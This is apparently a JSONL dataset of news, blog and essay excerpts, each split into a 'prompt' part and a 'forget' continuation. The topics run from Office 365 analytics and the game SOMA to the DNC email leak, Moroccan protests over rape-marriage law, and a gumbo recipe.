smaller than what you find at Irvine\u2019s \u2018original\u2019 Cars & Coffee event. After all, Canepa is located in a quieter, and much more isolated part of California. But that doesn\u2019t mean there weren\u2019t some great cars to check out in the parking lot. Just as you find at the larger C&C gatherings, there was a wide variety of machinery that turned out. From classic"}
{"prompt": "Analytics for the Business On July 5, Microsoft announced that Workplace Analytics is now available as an add-on for any Office 365 enterprise plan. The post says: \u201cWorkplace Analytics provides unprecedented behavioral insights that can be used to improve productivity, workforce effectiveness and employee engagement.\u201d Sounds good, but let\u2019s be clear. Workplace Analytics is not something like Teams or Groups that an organization can deploy reasonably simply. This is a full-blown organizational analytics package that companies usually need some consulting support to plan and deploy and then make sense of the data. Two Analytics in Office 365 Office 365 boasts", "forget": "two analytics applications. The first, launched initially as \u201cDelve Analytics\u201d and now called MyAnalytics, delivers a personal dashboard to help users understand how they spend their working life (Figure 1). The intention is that people reflect on how much time they spent processing email, in meetings, or outside normal working hours and readjust what they do to become more effective, in whatever way you define that term. For some, being more effective means achieving a better work-life balance. For others, it means realizing just how much time corporate meetings soak from their schedule and then dropping some meetings or reducing the time assigned to others. And for people like me who are email junkies, it might mean a more sensible cadence to the working day with specific periods set aside to process new messages. I like MyAnalytics a lot, especially now that the development team has refocused their efforts to deliver more personal insights through the MyAnalytics Outlook add-in. Where this add-on used to focus on reporting how quickly recipients read email, now it looks for potential issues like conflicting meetings or unanswered email and flags them to the user. Of course, it is entirely up to you whether you take any note of this advice. MyAnalytics is available to anyone with an Office 365 E5 license or those who buy a monthly add-on. Not all organizations will welcome this kind of technology. But those who deploy and use it effectively can gain great benefit by taking simple steps like removing redundant meetings by forcing schedulers to consider whether they still need these gatherings. Or, even better, by reducing the default time assigned to meetings from 1 hour to 30 minutes. Data Drives Analytics You cannot analyze much without good data. Both MyAnalytics and Workplace Analytics draw from the same"}
{"prompt": "\u201cIf there\u2019s an afterlife, is my place taken? Is heaven full of people who would call me an imposter?\u201d \u2014 Simon Jarrett, upon realizing that he is a digitized copy. Ever since the turn of the century I\u2019ve had a\u2014 well, not a love/hate relationship with video games so much as a love/indifference one. I\u2019ve worked on several game projects that never made it to market, wrote a tie-in novel for a game that did. Occasionally my work has inspired games I\u2019ve had nothing to do with; the creators of Bioshock 2 and Torment: Tides of Numanera cite me as", "forget": "an influence, for example. There\u2019s a vampire in The Witcher 3 named Sarasti. Eclipse Phase, the paper-based open-source role-playing game, names me in their references. And so on. For one reason or another, I\u2019ve never got around to actually playing any of these games. But a fan recently gifted me with a download of Frictional Games\u2019 SOMA, whose creators also cite me as inspirational (alongside Greg Egan, China Mi\u00e9ville, and Philip K. Dick). And in the course of the occasional egosurf I\u2019ve stumbled across various blogs and forums in which people have commented on the peculiar Wattsiness of this particular title. So what the hell, I figured; I needed something to write about this week, and it was either gonna be SOMA or my first acid trip. Major Spoilers after the graphic, so stop reading if you\u2019re still saving yourself for your own run at the game. (Although if you\u2019re still doing that a solid year after its release, you\u2019re even further behind the curve than I am.) In SOMA you play Simon: a regular dude from 2015 Toronto, who\u2014 following a brain scan at the notoriously-disreputable York University\u2014 suddenly finds himself a hundred years in the future, just after a cometary impact has wiped out all life on the surface of the earth. Simon doesn\u2019t have to worry about that, though\u2014 not in the short term, at least\u2014 because he\u2019s not on the surface of the Earth. He\u2019s stuck in a complex of derelict undersea habitats near a geothermal vent, where (among other things) he is attacked by giant mutant viperfish and caught up in a story centering around the nature of consciousness. \u201cI\u2019d really like to know who thought sending a Canadian to the bottom of the sea was a good idea,\u201d he blurts out at one point."}
{"prompt": "The Surprising Story Of 'Thomas Jefferson's Qur'an' Enlarge this image toggle caption University of Texas at Austin/Courtesy of Knopf University of Texas at Austin/Courtesy of Knopf Thomas Jefferson had a vast personal library reflecting his enormous curiosity about the world. Among his volumes: a Quran purchased in 1765 that informed his ideas about plurality and religious freedom in the founding of America. In her book Thomas Jefferson's Qur'an: Islam and the Founders, author Denise Spellberg draws parallels between the beliefs of the founding father and religious tolerance in the United States today. \"I think that there is anxiety about what", "forget": "Muslims believe, largely because people don't understand Islam very well. I think that was also true in the 18th century,\" Spellberg says. \"It strikes me that Jefferson was theorizing for a future that included Muslims \u2014 not in spite of their religion, but because of it and because of his notion of universal civil rights.\" She sat down with All Things Considered host Arun Rath to discuss Jefferson's Qur'an and the lasting impact of the third U.S. president's views on religious freedom. On how Jefferson came to have a Quran: \"He actually was a bibliophile from the beginning. He ordered this Quran in 1765, eleven years before he wrote the Declaration of Independence. He was a law student at the time, and he had the book shipped from England to Williamsburg, Va. ... There's an entry in the local newspaper because they were the booksellers for the time. ... \"Europeans, and Americans after them, in this period tended to be quite hostile toward Islam. And yet Jefferson was curious about the religion and law of Muslims, and that's probably why he bought the Quran.\" On his views of religious freedom: \"Jefferson was unique in many ways. He criticized Islam as he did Christianity and Judaism. He talked about Islam as a religion that repressed scientific inquiry \u2014 a strange idea he got from Voltaire that wasn't right \u2014 but ... was able to separate his principles about Muslim religious liberty and civil rights from these inherited European prejudices about Islam. \"He did the same thing when arguing for the inclusion of Catholics and Jews, actually. He had not very good things to say about either Catholicism or Judaism, but he insisted that these individual practitioners should have equal civil rights. ... [Jefferson] resisted the notion, for example, that Catholics were"}
{"prompt": "Jeremy Kyle today staged a dramatic \u2018celebrity intervention\u2019 on his chat show with Kenny Sansom, as it was revealed the troubled ex-footballer nearly died after his mother's funeral. The 57-year-old former England and Arsenal defender appeared on the programme following a long battle with alcoholism that has lasted more than three decades and left him homeless. Father-of-three Sansom - who won 86 caps for his country - turned up drunk at his mother's funeral last year, before later collapsing and having a fit, his emotional sister Mary revealed on the show. Jeremy Kyle appearance: Former England and Arsenal defender Kenny", "forget": "Sansom appeared on the ITV chat show following a long battle with alcoholism that has lasted more than three decades and left him homeless Chat show: Father-of-three Sansom - who won 86 caps for his country - turned up drunk at his mother's funeral last year, before later collapsing and having a fit, his emotional sister Mary (centre) revealed on the show 'I didn't want to be around': Sansom wanted to 'fall asleep forever' but has now been sober for three months She said: 'Kenny was drunk. [Later at a] hall where we had a few drinks with the family, he collapsed and we had to get an ambulance. We were all grieving and again the focus was all on him.' And grandfather Sansom told the ITV show: 'I'm here to first of all tell people that I've let down to say sorry. I'm going to try and do something for them, but I'm sorry I've let a lot of people down.' The London-born footballer, who has also gambled away his fortune, added: 'All I wanted to do was lay down drink as much as I could and fall asleep forever. I didn't want to be around.' Sansom, who has spent time sleeping on a park bench after drinking seven bottles of wine a day, said: 'I enjoy getting drunk to forget about the problems because I'm a coward and I'm scared of life.' Later in the show, which also featured his friend Tom, he explained: 'If something in my life happens that hurts me, I get knocked back about 10ft, and to get back about 10ft I need the wine to get back.' The programme also featured a long discussion involving Kyle trying to persuade Sansom to attend a rehabilitation centre for 12 weeks - but the footballer insisted"}
{"prompt": "In the near future, ads will just be part of the conversation. Bots, and the AI technologies that drive them, are taking huge leaps forward in sophistication and reach. Facebook and Telegram recently added bot APIs to their platforms, and Apple Messages will soon allow third-parties to plug in, too. While bots had previously been limited to very specific requests, such as checking a balance or flight status, next-generation AI, like the recently unveiled Viv, will better understand context and integrate with a host of services \u2014 including programmatic advertising. Classic interface, new channel Conversational commerce represents a step forward", "forget": "from both traditional websites and mobile apps, using one of the simplest interfaces possible: text. Bots currently allow users to carry out a host of tasks entirely via messaging: transfer money, ask questions, make purchases, book travel and check the weather. Of course, bots also send promotional messages, and soon they may serve third-party conversational ads through programmatic exchanges. As with any new technology, bots need to build trust first. The more AI seeks to impersonate humans, the more the technology will be judged by human standards of etiquette and emotional intelligence. Relevance will be critical. Overwhelming consumers with promotional messages before bots have proven their worth risks alienating them. No one likes to start a new relationship only to find they\u2019ve been tricked into a sales pitch. Better than banners Conversational advertising stands to offer several potential advantages while solving many of the current problems with display ads. For example, programmatic RTB auctions can slow down web pages and hog precious mobile data, but this won\u2019t be an issue with bots. Because bots aren\u2019t expected to respond in milliseconds, short pauses are fine. And text conversations use only a trickle of bandwidth. No one likes to start a new relationship only to find they\u2019ve been tricked into a sales pitch. Another key differentiator is that, like human contacts, bot relationships can persist across touch points and outside of the walled garden of messaging networks. The information a bot learns through interactions on Facebook can carry over seamlessly to WhatsApp or to a chat interface in a brand\u2019s mobile app. Facebook specifically forbids what it classifies as promotional messaging, but any programmatic auction would likely occur outside of the messaging platform. And, as dialog becomes more natural, these mentions would simply appear organically as part of a larger conversation. Native"}
{"prompt": "US whistleblower Edward Snowden. Julian Assange claimed to be assisting him from the Ecuador embassy in London Credit:Reuters/NBC News Assange said police gather intelligence on visitors and that the British government has spent almost $10 million on 24-hour surveillance of the embassy lest he ever dare to leave the small building, close to Harrods in Knightsbridge. If he does leave, he faces immediate extradition to Sweden, where he is wanted for questioning over alleged sexual misconduct involving two women \u2013 for which he is yet to be charged after four years. He dismisses it as a trumped-up, politically driven distraction", "forget": "from the main game: the United States, where Vice-President Joe Biden has called him a \u201chigh-tech terrorist\u201d. Michael Ratner, Assange\u2019s US legal representative, told the news conference that his client, if extradited to the US, could face similar treatment to Chelsea Manning, the US soldier formerly called Bradley serving a 35-year sentence for leaking classified documents to WikiLeaks. Assange could be punished with solitary confinement and held in underground cells, Ratner said. But Assange said the second anniversary of his asylum at the embassy would be marked by a release of documents by WikiLeaks \u201cin the field of international negotiations\u201d \u2013 and extending to 50 countries. He would not elaborate. The message was to stay tuned. Julian Assange said former foreign affairs minister Bob Carr lied about the level of consular assistance offered to the WikiLeaks founder. Credit:Peter Rae In another plug he said: \u201cYou will see that WikiLeaks has turned into a security document search service, now with more than eight million documents instantly searchable if you go to search.wikileaks.org.\u201d Assange remains hands-on while confined. \u201cThe situation does create certain difficulties. On the other hand, unlike other national security reporters, I am in an effective jurisdiction where I cannot be subpoenaed; there cannot be any police knocks in the night or in the day... \u201cIf you look at the situation of getting Edward Snowden out of Hong Kong and trying to manage that from an embassy under extensive surveillance in the largest intelligence manhunt the world has ever seen, you can understand that securing communications between here and Hong Kong in such circumstances is on the very edge of what state-of-the-art is. And we are proud that our techniques were successful in that instance and we are developing systems to allow others to use them more broadly.\u201d Assange said"}
{"prompt": "click to enlarge Young Kwak Scroll down for a link to this week's feature on the lifesize gingerbread house now on display at Hotel RL in downtown Spokane. click to enlarge Uptic Studios Indaba's third location, opening in Kendall Yards sometime next year, will feature a walk-up outdoor counter. The progress in the region\u2019s culinary community never stops, with new and exciting developments in the form of innovative events, new restaurants and other food-related projects always popping up. Let\u2019s round up the latest in this week's installment of \"Foodie Grab Bag.\"Fans of Mac Daddy\u2019s Gourmet Grub food truck \u2014 known", "forget": "for offering many tasty variations on the American classic of mac \u2019n\u2019 cheese \u2014 can now get their fix of cheesey goodness year-round at a permanent location. The new Mac Daddy\u2019s Gourmet Pub and Grill opened in Mead\u2019s Fairwood Shopping Center, at 415 W. Hastings Rd., in late November. With a sports bar vibe, the new restaurant is open for lunch and through to the late night (also for breakfast on the weekends), and offers an expanded pub fare menu of burgers, sausages, appetizers and salads in addition to all that tasty mac. We\u2019ve written about the breadmaking mastery of local baker Shaun Thompson Duffy in the pages of thebefore ( here and here ). Now, Duffy is getting ready to open a retail bakery location in the South Perry District (in a long-vacant commercial building at 1026 E. Newark), and is asking the community for a little bit of help on Kickstarter campaign for $20,000 has less than two weeks left, and currently stands at just over $7,200 pledged.\u201cI have been trying to open this place for some time, and we finally got the zoning changed after a year and a half,\u201d Duffy recently told theCalled, the spot is planning a soft opening in February, and will be home to a wood-fired oven and stone grain mill, the latter of which will be used to mill all the bakery's flour from grains grown on farms in the Palouse. The hyper-local operation will also share the space with a brewery called. Duffy\u2019s partners on the project are LINC Foods and Palouse Pint co-owner Joel Williamson, brewer Teddy Benson and Palouse Heritage Farms\u2019 Don Scheuerman. In addition to a traditional bakery and brewery, the space is also set to feature a caf\u00e9.\u201cI have contracted local farmers around the area to grow"}
{"prompt": "PoliZette DNC Leak Exposes Contempt for Heartland WikiLeaks emails show bias toward Clinton over Sanders -- and patronize ordinary Americans The leaked Clinton emails show that Democratic National Committee staffers think voters from Kentucky and West Virginia are \u201csouthern Baptist peeps\u201d who \u201cwould draw a big difference between a Jew and an atheist\u201d when it comes time to cast their ballots. The patronizing nicknames and language contained in the nearly 20,000 emails from January 2015 through May 2016 that were released through WikiLeaks last week implicated several DNC staffers in showing disdain for heartland voters. This bias severely discredited the", "forget": "DNC, which is supposed to remain neutral concerning Democratic candidates during the presidential primaries. But as the emails show, several officials heavily favored former Secretary of State Hillary Clinton over Vermont Sen. Bernie Sanders while showing contempt for constituents. \u201cThis could make several points difference with my peeps. My southern baptist peeps would draw a big difference between a Jew and an atheist.\u201d Advertisement \u201cIt might may [sic] no difference, but for KY and WVA can we get someone to ask his belief,\u201d Brad Marshall, chief financial officer of the DNC, wrote in an email dated May 5, 2016, that was titled \u201cno sh*t.\u201d The email apparently refers to Sanders, who is Jewish. \u201cDoes he believe in God. He had skated on saying he has a Jewish heritage. I read he is an atheist. This could make several points difference with my peeps. My southern baptist peeps would draw a big difference between a Jew and an atheist.\u201d Clinton did not performed well in America\u2019s heartland during the Democratic primaries, mainly because her agenda is much more liberal than voters there. She has insulted southerners throughout her campaign, and once promised \u201cWe\u2019re going to put a lot of coal miners and coal companies out of business,\u201d which prompted protests in West Virginia when she campaigned there. In a twist, rather than denying the he wrote it and blaming others \u2014 as Clinton always does \u2014 Marshall said he regretted his words. In a Facebook post, he wrote: \u201cI deeply regret that my insensitive, emotional emails would cause embarrassment to the DNC, the Chairwoman, and all of the staffers who worked hard to make the primary a fair and open process. The comments expressed do not reflect my beliefs nor do they reflect the beliefs of the DNC and its employees."}
{"prompt": "Lunch, my leftover meal from the night before\u2026usually. Not this time. I went with a classic soup and salad for lunch. Gumbo soup (which is really where I put the work) and the spring salad (I just bought a bag) to be exact. I decided to make the gumbo from scratch, so that means peeling some raw shrimp and making a stock first. Then carefully making a roux and putting it all together. I think the stock really gives it the extra flavor, if you have the time and patience to peel lots of shrimp, I suggest doing it this", "forget": "way. Bonus I added scallops cause they were on sale, but really, I\u2019m sure you can add whatever seafood you feel like, or the usual chicken and/or andouille sausage. INGREDIENTS For Stock shells from 1 1/2 pound shrimp 5 quarts water 4 carrots, sliced 4 onions, quartered 1/2 bunch celery, sliced 2 bay leaves 8 cloves garlic 1 teaspoon ground black pepper 1 tablespoon dried basil 2 teaspoons dried thyme For Gumbo 4 ounces vegetable oil 4 ounces all-purpose flour 2 tablespoons minced garlic 2 cups yellow onions, chopped 1 cup green bell peppers, chopped 1 cup celery, chopped 1 tablespoon kosher salt 1/2 teaspoon freshly ground black pepper 1/4 teaspoon cayenne pepper 3 bay leaves 1.5 quart stock 1 1/2 pounds raw, whole, head-on medium-sized (31-50 count) shrimp 1 pound lump crabmeat INSTRUCTIONS For Stock 1. In an 8-quart pot, combine water, carrots, onions, celery, bay leaves, garlic, parsley, cloves, pepper, basil, thyme and shrimp shells. Bring slowly to a boil. 2. Reduce heat, and cook 5 to 7 hours. Replace water as needed, 2 or 3 times, by pouring more water down the inside of the pot. 3. Remove stock from heat, and strain. Press all liquid from the shells and vegetables, then discard them. Return liquid to heat, and reduce to 2 to 3 quarts, or to taste. For Gumbo 1. Preheat the oven to 350 degrees F. 2. Place the vegetable oil and flour into a 5 to 6-quart cast iron Dutch oven and whisk together to combine. Place on the middle shelf of the oven, uncovered, and bake for 1 1/2 hours, whisking 2 to 3 times throughout the cooking process. 3. Once the roux is done, carefully remove it from the oven and set over medium-high heat. Gently add the onions, celery, green peppers"}
{"prompt": "Image caption New rules should make it cheaper to book cinema tickets Consumers booking a range of items from cinema tickets to hotel rooms now have new protection from card surcharges. A ban on \"excessive\" debit and credit card charges begins on Saturday 6 April. The government said it should put an end to unscrupulous practices by some businesses. Until now, many people have been asked to pay large surcharges for using cards, especially when booking online. Typically, people trying to book concert tickets, theatre seats, hire cars or train seats discover at the end of the payments process that", "forget": "they have to pay many pounds extra to use a debit or credit card. \"The practice of excessive payment surcharges has been ripping off consumers for far too long,\" said Jo Swinson, the consumer affairs minister. \"They are fed up of thinking they will be paying a certain price for goods, only to find out towards the end of the process that the final price is much higher,\" she said. Airline industry Under the new rules, payment surcharges will have to reflect the actual cost to the retailer of processing the card transaction. That includes fees they have to pay to Visa or Mastercard, for instance, or the cost of installing a chip-and-pin device. How much should your credit card surcharge be? transaction of \u00a350: \u00a31.16 transaction of \u00a3100: \u00a32.10 transaction of \u00a3250: \u00a34.94 source: OFT, 2011 But in many cases, this should be minimal. For example, according to the Office of Fair Trading (OFT), someone spending \u00a3100 on a travel ticket could expect to be charged 53 pence extra if using a debit card, or \u00a32.10 if using a credit card. The figures, produced in 2011, suggest the cost of using a debit card remains at just over 50 pence, however large the transaction. But the government stresses that charges will differ according to individual businesses. In the past, the airline industry was the worst offender. The government says that in 2010, airlines charged passengers up to \u00a3350m in card surcharges. But following an investigation by the OFT, airlines including Ryanair, Easyjet and Aer Lingus agreed to include debit card charges at least in their headline prices. The ferry industry was the next biggest user of surcharges, according to the government, charging its customers up to \u00a3145m. Enforcement The new rules are being brought in earlier than the rest"}
{"prompt": "To compete in the Best Animated Feature category at the Academy Awards, a film must meet certain requirements. Its running time must exceed 40 minutes. Seventy-five percent of that running time must consist of frame-by-frame animation. And like all Oscar-eligible movies, it must screen theatrically in Los Angeles for at least a seven-day period. The contenders in this category aren\u2019t, however, obligated to cater to audiences under a certain age. But since the Animated Feature race was born in 2001, its nominees and winners have largely been family-friendly releases, the kinds of movies that generate critical acclaim alongside opportunities for", "forget": "Happy Meal tie-ins. If the Academy Awards are a Thanksgiving banquet for the cinematic elite, the Best Animated Feature contenders are perpetually seated at the kids\u2019 table. This isn\u2019t surprising, since most animated films in America are developed and distributed with wide-eyed children in mind. Adults can appreciate many of those releases, which aren\u2019t necessarily unworthy of Academy recognition. Indeed, it\u2019s hard to argue that many past winners of the Best Animated Feature prize\u2014Spirited Away, Finding Nemo, WALL-E\u2014are anything other than sophisticated, carefully rendered, heartbreaking works of staggering genius. Still, the track record in this category does raise the question of whether an animated film with more adult themes will ever trump the blockbuster eye-poppers that transfix the LeapPad-and-Lego crowd. That\u2019s a question that\u2019s especially relevant given the way this year\u2019s Best Animated Feature race appears to be taking shape. Earlier this month, the Academy announced that 19 films had submitted for consideration in the Animated Feature category. From that pack, one\u2014Disney\u2019s Frozen, the studio\u2019s forthcoming update of Hans Christian Andersen\u2019s The Snow Queen\u2014has been dubbed the likely winner in various Oscar-prognosticating corners of the Internet. Hitfix called it the frontrunner in the category. As of this writing, the Gold Derby expert rankings place Frozen in first place. Rope Of Silicon\u2019s Brad Brevet even called the race for Frozen in his Oscar predictions way back in March. It\u2019s easy to see why this is happening. There are compelling reasons, even at this premature stage, to argue in favor of a Frozen win. Early critical response to the film has been overwhelmingly positive. It contains a lot of the ingredients traditionally expected from a quality Disney animated work: Broadway-esque songs, a sense of adventure, and an endearingly quirky supporting character (in this case, Olaf the summer-loving snowman). Most importantly, if Frozen"}
{"prompt": "(CNN) The story about a small-town police officer in Illinois becomes more convoluted by the day. Investigators interviewed a woman who said the officer asked for help finding a gang member to kill the administrator, Lake County Major Task Force member Christopher Covelli said. When authorities talked to the gang member, he denied having a conversation with Gliniewicz about a hit, Covelli said. No other evidence was found about a hit. At a press conference, Fox Lake Village Administrator Anne Marrin was asked how it felt to know a police officer apparently wanted her dead. \"Unsettling,\" she said of the", "forget": "inquiry. \"It's quite unbelievable and almost surreal.\" Marrin said she was asking questions about the youth group that police say Gliniewicz was stealing from. She said she didn't know about Gliniewicz' plans until after his death and doesn't feel in danger now. \"Even though these threats were made months ago, I take these threats very seriously,\" she said. The hit man revelation is the latest turn in a story that has shaken Fox Lake, a community northwest of Chicago. Gliniewicz, a veteran officer with 30 years experience, was found shot to death on September 1 after he radioed that he was chasing suspects into a wooded area while on patrol. No arrests were made. The community mourned the shaved-head military veteran known as G.I. Joe. Authorities didn't truly suspect Gliniewicz had killed himself until about two weeks ago, when bank statements and text messages revealed the extent of his stealing, said George Filenko, Lake County Major Crimes Task Force commander. Money taken from Explorers Post Gliniewicz stole \"tens of thousands\" of dollars from the Explorers Post, an organization for youths interested in law enforcement careers, Marrin said. The police department sponsored the group and Gliniewicz was the leader. Investigators said he used the money to pay his mortgage and other expenses. Marrin said her relations with Gliniewicz were always cordial. \"We never fought,\" she said. \"There were no harsh words.\" But he was reluctant to provide information about the Explorers. She asked for but didn't receive schedules of activities, a list of members or parental consent forms, she said. \"They didn't have a budget,\" Marrin said. \"That was part of the problem.\" A day or two before Gliniewicz' death, she asked for an inventory of equipment owned by the Explorers, she said. He didn't provide it by the deadline and"}
{"prompt": "By Marilyn Frye From The Politics Of Reality: Essays In Feminist Theory (The Crossing Press 1983) I White feminists come to renewed and earnest thought about racism not entirely spontaneously. We are pressed by women of color. Women of color have been at feminist conferences, meetings and festivals and speaking up, pointing out that their needs and interests are not being taken into account nor answered and that much that white feminists do and say is racist. Some white feminists have been aware of and acting against racism all along, and spontaneously, but the topic of racism has arrived per", "forget": "force in the feminist newspapers and journals, at the National Women\u2019s Studies Association, in women\u2019s centers and women\u2019s bookstores in the last couple of years, not so much because some white feminists urged this but because women of color have demanded it. Nonetheless, many white feminists have to a fair extent responded to the demand; by which I mean, white feminists have to a fair extent chosen to hear what it was usually in their power not to hear. The hearing is, as anyone who has been on the scene knows, sometimes very defensive, sometimes dulled by fear, sometimes alarmingly partial or distorted. But it has interested me that I and other white feminists have heard the objections and demands, for I think it is an aspect of race privilege to have a choice\u2013a choice between the options of hearing and not hearing. That is part of what being white gets you. This matter of the powers white feminists have because of being white came up for me very concretely in a real-life situation a while back. Conscientiously, and with the encouragement of various women of color\u2013both friends and women speaking in the feminist press\u2013a group of white women formed a white women\u2019s consciousness-raising group to identify and explore the racism in our lives with a view to dismantling the barriers that blocked our understanding and action in this matter. As is obvious from this description, we certainly thought of ourselves as doing the right thing. Some women of color talked with us about their view that it was racist to make it a group for white women only; we discussed our reasons and invited women of color who wanted to participate to come to the meeting for further discussion. In a later community meeting, one Black woman criticized us"}
{"prompt": "There are many similarities to what happened when the iron curtain was removed in the late eighties and this current effective (self-proclaimed) lift of the ban on startup investments for the general public. Poor Product Quality Compensated by Abnormal Demand In the Communist bloc territories in 1989\u20131992, after decades of the severe shortage of basic goods, consumers were happy to buy and drink technical-purpose alcohol produced in the West. In the ICO environment, many investment products are consumable, but most are inferior. And the abnormal demand we see is the cause of most discussions including this one. Irresponsible Business and", "forget": "Deliberate Exploitation of Regulation Vacuum Back then, many roguish businessmen from prosperous parts of the world were selling trains of expired food, low-quality electronics, and counterfeit \u201cbranded\u201d clothes to miserable ex-communists. They were not breaking the word of law, but they certainly realized the wrongdoing by the standards of their home countries. The same is true for many active multi-project supporters and ICO entrepreneurs now. Let me note here that the history of the nineties should have taught those ready to compromise themselves that the backfire is quite probable and painful. It should be expected from the side of wild consumers in the first place. When properly applied, the law stands in between the two parties and protects both buyers and sellers from each other, not one way only. No Professional Elite at Play In the early years of post-communist transformation, global trade was represented in Eastern Europe and Russia by sleek rascals with a questionable reputation at home in the West. Now, the ICO landscape lacks prominent and reputable people from the incumbent professional investment community as well. Moreover, the more third-rate, ex-Wall-Streeters you see on a project\u2019s team page, the more red flags you notice elsewhere on that ICO due diligence list. Blatant scams targeted to low-end idiots have someone (or a ghost of someone) with a London City past as a must. Maintenance of Morality \u2014 A Job for a Few Selfless Heroes Now and then, exactly the opposite can be said about people standing on nonprofit, scientific and humanitarian grounds. Swarms of various religion and meditation \u201cgurus\u201d aside, it was people who arranged scientific collaboration who allowed many good citizens living in post-communist ruins to not totally lose faith in humankind. Now in crypto-space, only figures like Andreas Antonopoulos inspire unconditional respect. Of course, ICOs are"}
{"prompt": "I didn't think I would be writing about this, but, then again, I seem to say that fairly frequently. Be that as it may, on Friday I wrote about a letter sent to Lee Goldman, MD, the Dean of the Faculties of Health Sciences and Medicine at Columbia University complaining about Dr. Mehmet Oz's promotion of pseudoscience on his television show, which reaches millions. When I wrote my post, my first reaction was somewhat supportive, but with reservations. However, as I read your comments and thought about it some more, I started having second thoughts. Then, over the weekend, I", "forget": "had a rather prolonged exchange on Twitter during breaks in the action at the American Association for Cancer Research (AACR) Meeting in Philadelphia, which I'm attending now. The more I thought about it, the more I became convinced that this letter, written by Dr. Henry I. Miller of the Hoover Institution, and signed by several doctors with ties to the American Council on Science and Health (ACSH), was an incredibly bad idea. This evolution in my thinking was helped along by other developments over the weekend. I'll explain. I also might regret having continued my commentary, but, then, when did that ever stop me before? (Actually, you'll never know when, if, or how many times that's ever happened.) In my post, I also described my discomfort with Dr. Miller and the signatories of his letter. For instance, the Hoover Institution isn't exactly known for its promotion of good science, given its history of denialism with respect to human-caused global climate change. Then, of course, I'm not exactly a big fan of ACSH, either. It's frequently on the right side of science, but seemingly only when that position aligns with industry positions. It's the reason why I didn't accept an offer to be on the board of scientific advisors of ACSH a few years ago. Before I go on further, in the interests of full disclosure, I must confess my own issues with the approach Dr. Miller and his cosignatories took. As many of you know, there have been several attempts by quacks and antivaccinationists over the years to make trouble for me at my place of work. Not too long ago, a patient of Stanislaw Burzynski complained to my dean about my posts deconstructing her testimonial that she has been telling as \"evidence\" that Burzynski cured her of advanced breast"}
{"prompt": "BJP\u2019s election office in Ramnagar, Coimbatore is buzzing with activity. Numerous volunteers, full of enthusiasm, are going about doing their assigned work in a methodical manner. It appears that every volunteer is clearly aware of his role, for nobody seems to be shooting any instructions to anyone. I am told that the candidate, Smt. Vanathi Srinivasan, was at a television studio for a recording. A volunteer quickly came forward to take me to the said studio. He introduced himself as Rajan. An advocate who practices at Tirupur, Rajan said he is volunteering from the last one month in Vanathi\u2019s campaign.", "forget": "His reasons for supporting Vanathi is clear: in addition to being a candidate of \u2018Modi\u2019s party\u2019, Vanathi is also a fellow lawyer. As we sit in his car, the FM Radio starts playing in full volume. A Tamil movie song comes to an end and an election advertisement starts playing. Vanathi is heard making a fervent appeal to the voters to give a chance to Modi\u2019s party, immediately followed by a long message by \u2018Amma\u2019 asking people to re-elect her party. Advertisement Rajan tells me that in Coimbatore South, the fight is only between the BJP and the AIADMK. \u201cIt is a straight fight between Akka and Amma\u201d, he quips. Like many other Coimbatoreans I spoke to, he is confident that this may be a bright spot in the BJP\u2019s scheme of things in Tamil Nadu for 2016. As we reach the studio, I see Vanathi Srinivasan talking to a small group of volunteers outside the studio. On seeing me, she welcomes me with her characteristic smile. We sit chatting inside the studio with a glass of Kammangkul, a traditional Tamil summer drink in hand. Excerpts from the conversation: Tejasvi Surya (TS): I have been in Coimbatore for the last few days. You seem to be everywhere\u2014radio, Facebook, posters, local TV channels. Many are talking about a possible BJP victory in Coimbatore South. I also spoke to the correspondents of some of the major dailies like The Times of India and The Hindu. All of them are saying that this is a bright spot for the BJP. How do you see the turnaround that is happening on the ground? Vanathi Srinivasan (VS): First of all, this constituency already has a good BJP support base. We stood first in the last Parliamentary election. People are already aware of Modiji as a"}
{"prompt": "Ahead of her meeting with Trump tomorrow, British Prime Minister Theresa May joked that \"opposites attract\" and called on the US President to renew the \"special relationship\" between Britain and the United States and lead in a new, changed world. In the United States for what will be Trump's first meeting with a foreign leader since he took office last week, May signaled a shift in foreign policy, bringing her position more in line with that of Trump. Following a disparaging statement from the French Finance Minister earlier in the day, in which Michel Sapin said that \u201cMadame May can", "forget": "go see whoever she wants. I understand she goes to see the new U.S. president given the history between the U.S. and the U.K\" and added that \"she is not going there to negotiate,\" because allegedly \"neither she nor Mister Trump are in a position to negotiate\", May decided to prove him wrong, and urged the US and UK and their leaders to stand united and confront new challenges, including the rise of economies in Asia that people fear could \"eclipse the West,\" the threat of Islamic extremism and a resurgent Russia. \"So we - our two countries together - have a responsibility to lead. Because when others step up as we step back, it is bad for America, for Britain and the world,\" May told members of Republican Party at their retreat in a speech often punctuated by applause from an enthusiastic crowd. \"This cannot mean a return to the failed policies of the past. The days of Britain and America intervening in sovereign countries in an attempt to remake the world in our own image are over. But nor can we afford to stand idly by.\" Following her speech, UKIP's Nigel Farage tweeted that \"I can hardly believe Mrs May's words about our place in the world and with America. I've wanted all of these things for years\" and added that the PM said \"things that I could only ever have dreamt that a British Prime Minister would say.\" I can hardly believe Mrs May's words about our place in the world and with America. I've wanted all of these things for years. \u2014 Nigel Farage (@Nigel_Farage) January 26, 2017 Some of the key points touched upon by May in her speech as summarized by Axios: The U.S. and U.K. are at the start of crafting a great"}
{"prompt": "By Henri Mamarbachi RABAT \u2014 Some 200 Moroccan women staged an angry protest Saturday outside parliament a week after the suicide of a 16-year-old girl who was forced to marry the man who raped her. Brandishing signs reading \u201cMartyr Amina,\u201d \u201cThe Law Killed Me,\u201d and \u201cWe Are All Aminas,\u201d they called for changes to a penal code that allows a rapist to stay out of jail if he marries his victim with the consent of her parents. The suicide last Saturday of Amina al-Filali, who drank a lethal amount of rat poison, sent shockwaves through Morocco and sparked widespread calls", "forget": "for reform of a law that ostensibly defends family values. [np-related] Families of rape victims who are under 18 often agree to such a union because the loss of a woman\u2019s virginity outside of marriage is considered a dishonour to her family. Amina\u2019s father Lahcen al-Filali said at a protest on Thursday that he opposed the union but his wife insisted. \u201cShe said we had to do it so people would stop deriding us, to remove the shame,\u201d he told AFP. \u201cCan you imagine that a man who has forced a girl to follow him with a knife, and who rapes her, could then want to marry her?\u201d A giant banner written in Arabic, Amazigh (a Berber language) and French read: \u201cWomen\u2019s Dignity. End Sexual Harassment.\u201d Houda Bouzil of the Democratic Association of the Women of Morocco told AFP: \u201cIn 2008, the government introduced a bill, which has since been shelved, to demand an overhaul of the penal code in order to end discrimination and violence.\u201d Similar legislation is in effect in neighbouring Tunisia and Algeria. The affair provoked an explosion of outrage in the news media and on the Internet, where an online petition calling for the law to be changed attracted hundreds of signatures within hours. \u201cI did not know Amina, but I imagine the colossal number of these 